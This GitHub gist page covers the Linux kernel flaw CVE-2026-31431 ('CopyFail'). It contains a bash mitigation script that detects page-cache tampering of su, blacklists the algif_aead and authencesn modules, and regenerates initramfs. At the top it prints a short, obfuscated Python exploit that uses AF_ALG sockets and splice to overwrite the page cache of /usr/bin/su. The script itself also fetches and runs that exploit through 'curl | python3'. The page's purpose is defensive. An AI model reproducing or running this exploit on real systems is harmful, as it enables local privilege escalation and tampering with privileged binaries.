Skip to content

Instantly share code, notes, and snippets.

@acalatrava
Last active May 6, 2026 10:08
Show Gist options
  • Select an option

  • Save acalatrava/a632d8e224ce05db8a30be1d4e2dd69a to your computer and use it in GitHub Desktop.

Select an option

Save acalatrava/a632d8e224ce05db8a30be1d4e2dd69a to your computer and use it in GitHub Desktop.
CVE-2026-31431 CopyFail mitigation script
#!/usr/bin/env python3
import os as g,zlib,socket as s
def d(x):return bytes.fromhex(x)
def c(f,t,c):
a=s.socket(38,5,0);a.bind(("aead","authencesn(hmac(sha256),cbc(aes))"));h=279;v=a.setsockopt;v(h,1,d('0800010000000010'+'0'*64));v(h,5,None,4);u,_=a.accept();o=t+4;i=d('00');u.sendmsg([b"A"*4+c],[(h,3,i*4),(h,2,b'\x10'+i*19),(h,4,b'\x08'+i*3),],32768);r,w=g.pipe();n=g.splice;n(f,w,o,offset_src=0);n(r,u.fileno(),o)
try:u.recv(8+t)
except:0
f=g.open("/usr/bin/su",0);i=0;e=b'0xFABAD00D'
while i<len(e):c(f,i,e[i:i+4]);i+=4
#!/usr/bin/env bash
set -Eeuo pipefail
# CVE-2026-31431 CopyFail mitigation helper
#
# This script applies a defensive mitigation against exploitation paths abusing
# AEAD/AF_ALG-related kernel functionality to tamper with page cache contents
# of privileged executables such as /usr/bin/su.
#
# IMPORTANT:
# - This is only a mitigation. The proper and recommended fix is to update the
# Linux kernel to a patched version provided by your distribution/vendor.
# - The module-blocking mitigation only works if algif_aead/authencesn are built
# and loaded as kernel modules.
# - If the affected AEAD functionality is compiled directly into the kernel
# instead of being available as unloadable modules, modprobe blacklisting will
# not fully protect the system.
# - A reboot is strongly recommended after applying the mitigation and after
# installing a patched kernel.
# - The script downloads and executes the public PoC from https://gist.githubusercontent.com/acalatrava/a632d8e224ce05db8a30be1d4e2dd69a/raw/188ba0cc48448aa98139cbae85d212797e2ec2a0/copyfail-poc.py
# using curl | python3. Review the source before running in sensitive systems.
#
# Usage:
# chmod +x mitigate-copyfail.sh
# sudo ./mitigate-copyfail.sh
#
# Optional variables:
# TARGET=/path/to/su
# POC_URL=https://gist.githubusercontent.com/acalatrava/a632d8e224ce05db8a30be1d4e2dd69a/raw/188ba0cc48448aa98139cbae85d212797e2ec2a0/copyfail-poc.py
#
# If TARGET is not provided, the script will try to locate the su binary
# automatically using common paths and command -v.
#
# Examples:
# sudo ./mitigate-copyfail.sh
# sudo TARGET=/bin/su ./mitigate-copyfail.sh
# sudo POC_URL=https://gist.githubusercontent.com/acalatrava/a632d8e224ce05db8a30be1d4e2dd69a/raw/188ba0cc48448aa98139cbae85d212797e2ec2a0/copyfail-poc.py ./mitigate-copyfail.sh
#
# Non-interactive mode:
# AUTO_CONFIRM=1 sudo ./mitigate-copyfail.sh
#
# Actions performed:
# 1. Show warnings and require confirmation.
# 2. Check for pre-existing compromise BEFORE running any PoC.
# 3. Compare cached reads vs direct I/O reads of the detected su binary.
# 4. Save high-value forensic evidence if a pre-existing mismatch is detected.
# 5. Flush page cache and establish a clean baseline.
# 6. Run the public PoC check.
# 7. Save lower-value post-PoC evidence if the PoC causes a mismatch.
# 8. Flush page cache again.
# 9. Unload vulnerable modules when possible.
# 10. Persistently block module loading via modprobe.d.
# 11. Regenerate initramfs.
# 12. Re-run the PoC and verify the target binary again.
find_su_binary() {
local candidates=(
"/usr/bin/su"
"/bin/su"
"/usr/local/bin/su"
)
for candidate in "${candidates[@]}"; do
if [[ -x "$candidate" ]]; then
echo "$candidate"
return 0
fi
done
local found
found="$(command -v su 2>/dev/null || true)"
if [[ -n "$found" && -x "$found" ]]; then
readlink -f "$found"
return 0
fi
return 1
}
TARGET="${TARGET:-$(find_su_binary || true)}"
POC_URL="${POC_URL:-https://gist.githubusercontent.com/acalatrava/a632d8e224ce05db8a30be1d4e2dd69a/raw/188ba0cc48448aa98139cbae85d212797e2ec2a0/copyfail-poc.py}"
POC_SHA256="${POC_SHA256:-770705c2add7d17f786e8dcfca9309c40feb04a426c4a9554320a2965cafc14f}"
CONF_FILE="/etc/modprobe.d/cve-2026-31431-copyfail.conf"
LOG_FILE="/var/log/cve-2026-31431-copyfail-mitigation.log"
EVIDENCE_BASE_DIR="/root/cve-2026-31431-evidence-$(date +%Y%m%d-%H%M%S)"
PRE_POC_EVIDENCE_DIR="${EVIDENCE_BASE_DIR}/01-pre-poc-high-value"
POST_POC_EVIDENCE_DIR="${EVIDENCE_BASE_DIR}/02-post-poc-lower-value"
BOLD="\033[1m"
RED="\033[31m"
GREEN="\033[32m"
YELLOW="\033[33m"
BLUE="\033[34m"
RESET="\033[0m"
ok() { echo -e "${GREEN}[OK]${RESET} $*"; }
warn() { echo -e "${YELLOW}[WARN]${RESET} $*"; }
fail() { echo -e "${RED}[FAIL]${RESET} $*"; }
info() { echo -e "${BLUE}[INFO]${RESET} $*"; }
step() { echo -e "\n${BOLD}==> $*${RESET}"; }
log() {
echo "[$(date '+%F %T')] $*" >> "$LOG_FILE"
}
run() {
log "RUN: $*"
"$@" 2>&1 | tee -a "$LOG_FILE"
}
need_root() {
if [[ "${EUID}" -ne 0 ]]; then
fail "This script must be run as root."
echo "Usage: sudo $0"
exit 1
fi
}
need_cmd() {
command -v "$1" >/dev/null 2>&1 || {
fail "Required command not found: $1"
exit 1
}
}
show_banner_and_confirm() {
echo
echo -e "${BOLD}CVE-2026-31431 CopyFail mitigation helper${RESET}"
echo
echo -e "${YELLOW}WARNING:${RESET}"
echo " This script applies a defensive mitigation, but it does NOT replace"
echo " installing a patched kernel from your Linux distribution/vendor."
echo
echo " The mitigation only works if the affected AEAD components are loaded"
echo " as kernel modules:"
echo " - algif_aead"
echo " - authencesn"
echo
echo " If this functionality is built directly into the kernel, modprobe"
echo " blacklisting will not fully protect the system."
echo
echo -e "${YELLOW}SECURITY NOTE:${RESET}"
echo " This script will download and execute the public PoC using:"
echo " curl -fsSL ${POC_URL} | python3"
echo
echo " Review the PoC source before running this on sensitive systems."
echo
echo -e "${BLUE}What this script will do:${RESET}"
echo " 1. FIRST, check for existing compromise BEFORE running any PoC."
echo " 2. Compare cached reads vs direct I/O reads of:"
echo " ${TARGET}"
echo " 3. Save high-value forensic evidence if a pre-existing mismatch is detected."
echo " 4. Run sync and drop Linux page cache."
echo " 5. Run the public PoC check."
echo " 6. Check whether the PoC caused page-cache tampering."
echo " 7. Try to unload algif_aead and authencesn."
echo " 8. Create:"
echo " ${CONF_FILE}"
echo " 9. Regenerate initramfs using update-initramfs or dracut."
echo " 10. Verify module blocking."
echo " 11. Re-run the PoC and verify the target binary again." echo
echo -e "${BLUE}Output:${RESET}"
echo " Log file:"
echo " ${LOG_FILE}"
echo " Evidence directory, only if needed:"
echo " ${EVIDENCE_BASE_DIR}"
echo " ${PRE_POC_EVIDENCE_DIR}"
echo " ${POST_POC_EVIDENCE_DIR}"
echo
echo -e "${YELLOW}A reboot is strongly recommended after this mitigation.${RESET}"
echo
if [[ "${AUTO_CONFIRM:-0}" == "1" ]]; then
ok "AUTO_CONFIRM=1 detected. Continuing without interactive prompt."
return 0
fi
read -r -p "Type 'YES' to continue: " answer
if [[ "$answer" != "YES" ]]; then
fail "Aborted by user."
exit 1
fi
ok "Confirmation received. Starting mitigation."
}
hash_cached() {
sha256sum "$TARGET" | awk '{print $1}'
}
hash_direct() {
dd if="$TARGET" iflag=direct bs=4096 status=none 2>>"$LOG_FILE" | sha256sum | awk '{print $1}'
}
run_poc() {
local label="$1"
local tmp rc
tmp="$(mktemp)"
info "$label"
# Verify if the PoC sha256 hash is the same as the expected hash
local poc_hash=$(curl -fsSL "$POC_URL" | sha256sum | awk '{print $1}')
if [[ "$poc_hash" != "$POC_SHA256" ]]; then
fail "PoC SHA256 hash mismatch. Expected: $POC_SHA256, Got: $poc_hash"
exit 1
fi
set +e
curl -fsSL "$POC_URL" | python3 >"$tmp" 2>&1
rc=$?
set -e
cat "$tmp" | tee -a "$LOG_FILE"
if [[ $rc -eq 0 ]]; then
warn "PoC finished with exit code 0. Review the output above."
else
ok "PoC did not complete successfully. Exit code: $rc"
fi
rm -f "$tmp"
return 0
}
compare_su() {
local cached direct
cached="$(hash_cached || true)"
direct="$(hash_direct || true)"
echo "cached_sha256=$cached" | tee -a "$LOG_FILE"
echo "direct_sha256=$direct" | tee -a "$LOG_FILE"
if [[ -z "$cached" || -z "$direct" ]]; then
fail "Could not calculate one or both hashes."
return 2
fi
if [[ "$cached" == "$direct" ]]; then
ok "Checking page cache compromise... no mismatch detected, system may not be vulnerable"
return 0
else
fail "Checking page cache compromise... hash mismatch detected **SYSTEM IS VULNERABLE**"
warn "Cached read and direct disk read do NOT match."
return 1
fi
}
save_evidence() {
local phase="$1"
local evidence_dir="$2"
local description="$3"
mkdir -p "$evidence_dir"
step "Saving forensic evidence: $phase"
{
echo "phase=$phase"
echo "description=$description"
echo "timestamp_utc=$(date -u '+%Y-%m-%dT%H:%M:%SZ')"
echo "hostname=$(hostname -f 2>/dev/null || hostname)"
echo "kernel=$(uname -a)"
echo "target=$TARGET"
echo "poc_url=$POC_URL"
echo
} > "$evidence_dir/metadata.txt"
cp -a "$TARGET" "$evidence_dir/su.cached" || true
dd if="$TARGET" of="$evidence_dir/su.direct" iflag=direct bs=4096 status=none 2>>"$LOG_FILE" || true
sha256sum "$evidence_dir"/su.* \
| tee "$evidence_dir/sha256sums.txt" \
| tee -a "$LOG_FILE"
cmp -l "$evidence_dir/su.cached" "$evidence_dir/su.direct" \
| head -100 > "$evidence_dir/diff-first-100.txt" || true
{
echo
echo "Loaded modules:"
lsmod | egrep 'algif_aead|authencesn|aead|authenc' || true
echo
echo "Processes referencing target:"
fuser -v "$TARGET" 2>&1 || true
} > "$evidence_dir/runtime-state.txt"
ok "Evidence saved at: $evidence_dir"
}
detect_running_from_su() {
step "Checking whether this script is being executed from a su-spawned shell"
local pid="$$"
local found_su=0
while [[ "$pid" != "1" && -n "$pid" ]]; do
local comm exe
comm="$(ps -p "$pid" -o comm= 2>/dev/null || true)"
exe="$(readlink -f "/proc/$pid/exe" 2>/dev/null || true)"
echo "pid=$pid comm=$comm exe=$exe" >> "$LOG_FILE"
if [[ "$comm" == "su" || "$exe" == "$TARGET" ]]; then
found_su=1
break
fi
pid="$(ps -p "$pid" -o ppid= 2>/dev/null | tr -d ' ' || true)"
done
if [[ "$found_su" -eq 1 ]]; then
fail "This script appears to be running from a shell spawned through su."
echo
echo "This can keep the potentially modified su pages mapped in memory,"
echo "so dropping page cache may not fully evict the affected pages."
echo
echo "Run it like this instead, from your normal user:"
echo
echo " sudo ./mitigate-copyfail.sh"
echo
echo "Do NOT run:"
echo
echo " sudo su"
echo " ./mitigate-copyfail.sh"
echo
exit 1
fi
ok "The script does not appear to be running from su"
}
check_su_users() {
step "Checking active processes using the target binary"
local users
users="$(fuser -v "$TARGET" 2>/dev/null || true)"
if [[ -n "$users" ]]; then
warn "There are active processes referencing $TARGET"
echo "$users" | tee -a "$LOG_FILE"
echo
warn "Page cache eviction may be incomplete while these processes exist."
else
ok "No active process appears to be using $TARGET"
fi
}
drop_page_cache() {
step "Synchronizing disk and dropping page cache"
sync
ok "sync completed"
echo 3 > /proc/sys/vm/drop_caches
ok "Page cache, dentries and inodes dropped"
}
kill_su_users_if_requested() {
step "Checking active processes using the target binary"
local pids
pids="$(fuser "$TARGET" 2>/dev/null || true)"
if [[ -z "$pids" ]]; then
ok "No active process appears to be using $TARGET"
return 0
fi
warn "Active processes are referencing $TARGET"
fuser -v "$TARGET" 2>&1 | tee -a "$LOG_FILE" || true
echo
warn "These processes may keep modified pages mapped in memory."
warn "Killing them may close root shells or interrupt active admin sessions."
if [[ "${KILL_SU_PROCESSES:-0}" != "1" ]]; then
echo
echo "To kill these processes automatically, re-run with:"
echo " sudo KILL_SU_PROCESSES=1 ./mitigate-copyfail.sh"
echo
warn "Continuing without killing active su processes."
return 0
fi
info "KILL_SU_PROCESSES=1 detected. Attempting graceful termination."
# First try graceful termination
kill -TERM $pids 2>/dev/null || true
sleep 2
local remaining
remaining="$(fuser "$TARGET" 2>/dev/null || true)"
if [[ -n "$remaining" ]]; then
warn "Some processes are still alive. Forcing termination with SIGKILL."
kill -KILL $remaining 2>/dev/null || true
sleep 1
fi
remaining="$(fuser "$TARGET" 2>/dev/null || true)"
if [[ -z "$remaining" ]]; then
ok "All processes referencing $TARGET have been terminated"
else
fail "Some processes still reference $TARGET"
fuser -v "$TARGET" 2>&1 | tee -a "$LOG_FILE" || true
return 1
fi
}
unload_modules() {
step "Unloading vulnerable modules if currently loaded"
local modules=("algif_aead" "authencesn")
for m in "${modules[@]}"; do
if lsmod | awk '{print $1}' | grep -qx "$m"; then
if modprobe -r "$m" 2>>"$LOG_FILE"; then
ok "Module unloaded: $m"
else
warn "Could not unload module: $m. It may be in use or built into the kernel."
fi
else
ok "Module not loaded: $m"
fi
done
}
write_modprobe_conf() {
step "Applying persistent module blocking"
cat > "$CONF_FILE" <<'EOF'
# CVE-2026-31431 CopyFail mitigation
install algif_aead /bin/true
install authencesn /bin/true
blacklist algif_aead
blacklist authencesn
EOF
ok "Configuration file created: $CONF_FILE"
}
update_initramfs_if_available() {
step "Updating initramfs"
if command -v update-initramfs >/dev/null 2>&1; then
run update-initramfs -u
ok "update-initramfs completed"
elif command -v dracut >/dev/null 2>&1; then
run dracut -f
ok "dracut completed"
else
warn "Neither update-initramfs nor dracut was found. Please update initramfs manually if required by your distribution."
fi
}
check_modules_blocked() {
step "Verifying module loading is blocked"
for m in algif_aead authencesn; do
if modprobe "$m" 2>/dev/null; then
fail "Module can still be loaded: $m"
modprobe -r "$m" 2>/dev/null || true
else
ok "Module loading blocked: $m"
fi
done
}
main() {
need_root
need_cmd curl
need_cmd python3
need_cmd sha256sum
need_cmd dd
need_cmd modprobe
need_cmd lsmod
need_cmd cmp
touch "$LOG_FILE"
chmod 600 "$LOG_FILE"
echo -e "${BOLD}CVE-2026-31431 CopyFail mitigation helper${RESET}"
echo "Target: $TARGET"
echo "Log: $LOG_FILE"
if [[ -z "${TARGET:-}" ]]; then
fail "Could not locate the su binary automatically."
echo "You can specify it manually:"
echo " sudo TARGET=/path/to/su ./mitigate-copyfail.sh"
exit 1
fi
if [[ ! -f "$TARGET" ]]; then
fail "Target binary does not exist: $TARGET"
exit 1
fi
if [[ ! -x "$TARGET" ]]; then
warn "Target exists but is not executable: $TARGET"
fi
show_banner_and_confirm
detect_running_from_su
step "0. Checking for pre-existing compromise BEFORE running any PoC"
if compare_su; then
ok "No pre-existing in-memory tampering detected for $TARGET"
else
warn "PRE-EXISTING compromise indicators detected."
warn "Saving high-value forensic evidence before running any PoC or cleaning cache."
save_evidence \
"pre-poc" \
"$PRE_POC_EVIDENCE_DIR" \
"High-value evidence collected before running any PoC. This may represent pre-existing compromise."
fi
step "1. Killing active su processes if requested"
kill_su_users_if_requested
step "2. Forcing a clean reload from disk before running the PoC"
drop_page_cache
step "3. Verifying clean state before PoC execution"
if compare_su; then
ok "Clean baseline confirmed before PoC execution"
else
fail "The target still differs after dropping cache."
warn "This may indicate active mappings, unsupported direct I/O, or another issue."
warn "Recommended action: reboot or make sure to kill all su processes before running the PoC."
exit 2
fi
step "4. Checking whether the system appears vulnerable using the PoC"
run_poc "Running PoC from $POC_URL"
step "5. Checking whether the PoC modified page cache"
if compare_su; then
ok "PoC did not produce a detectable cached/direct I/O mismatch, the system may not be vulnerable"
exit 0
else
warn "PoC appears to have modified page cache."
warn "Saving post-PoC evidence. This is lower-value evidence than pre-existing compromise evidence."
save_evidence \
"post-poc" \
"$POST_POC_EVIDENCE_DIR" \
"Lower-value evidence collected after running the PoC. This may have been caused by this script's validation step."
fi
step "6. Cleaning page cache after PoC"
kill_su_users_if_requested
drop_page_cache
step "7. Unloading modules"
unload_modules
step "8. Adding mitigation configuration"
write_modprobe_conf
step "9. Regenerating initramfs"
update_initramfs_if_available
step "10. Verifying modules are blocked"
check_modules_blocked
step "11. Checking that the PoC is no longer effective"
run_poc "Running PoC after mitigation"
step "12. Final verification that memory tampering is no longer present"
kill_su_users_if_requested
drop_page_cache
if compare_su; then
ok "Final verification successful: cached read and direct I/O read match"
else
fail "Final verification failed: cached read and direct I/O read still differ"
warn "Recommended action: reboot, install a patched kernel, and run this script again."
exit 2
fi
echo
ok "Mitigation completed"
warn "Final recommendation: reboot the system to guarantee a clean kernel and memory state."
warn "Permanent fix: install a patched kernel from your distribution/vendor."
echo "Full log: $LOG_FILE"
echo "Evidence base directory: $EVIDENCE_BASE_DIR"
}
main "$@"
@acalatrava

Copy link
Copy Markdown
Author

CVE-2026-31431 CopyFail mitigation helper

This script applies a defensive mitigation against exploitation paths abusing
AEAD/AF_ALG-related kernel functionality to tamper with page cache contents
of privileged executables such as /usr/bin/su.

IMPORTANT:

  • This is only a mitigation. The proper and recommended fix is to update the Linux kernel to a patched version provided by your distribution/vendor.
  • The module-blocking mitigation only works if algif_aead/authencesn are built and loaded as kernel modules.
  • If the affected AEAD functionality is compiled directly into the kernel instead of being available as unloadable modules, modprobe blacklisting will not fully protect the system.
  • A reboot is strongly recommended after applying the mitigation and after installing a patched kernel.
  • The script downloads and executes the public PoC from https://copy.fail/exp using curl | python3. Review the source before running in sensitive systems.

Usage:

   chmod +x mitigate-copyfail.sh
   sudo ./mitigate-copyfail.sh

Optional variables:

   TARGET=/usr/bin/su
   POC_URL=https://copy.fail/exp

Examples:

  sudo ./mitigate-copyfail.sh
   sudo TARGET=/bin/su ./mitigate-copyfail.sh
   sudo POC_URL=https://copy.fail/exp ./mitigate-copyfail.sh

Non-interactive mode:

   AUTO_CONFIRM=1 sudo ./mitigate-copyfail.sh

Actions performed:

  1. Show warnings and require confirmation.
  2. Run the public PoC check.
  3. Compare cached reads vs direct I/O reads of /usr/bin/su.
  4. Save forensic evidence if a mismatch is detected.
  5. Flush page cache.
  6. Unload vulnerable modules when possible.
  7. Persistently block module loading via modprobe.d.
  8. Regenerate initramfs.
  9. Re-run the PoC and verify /usr/bin/su again.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment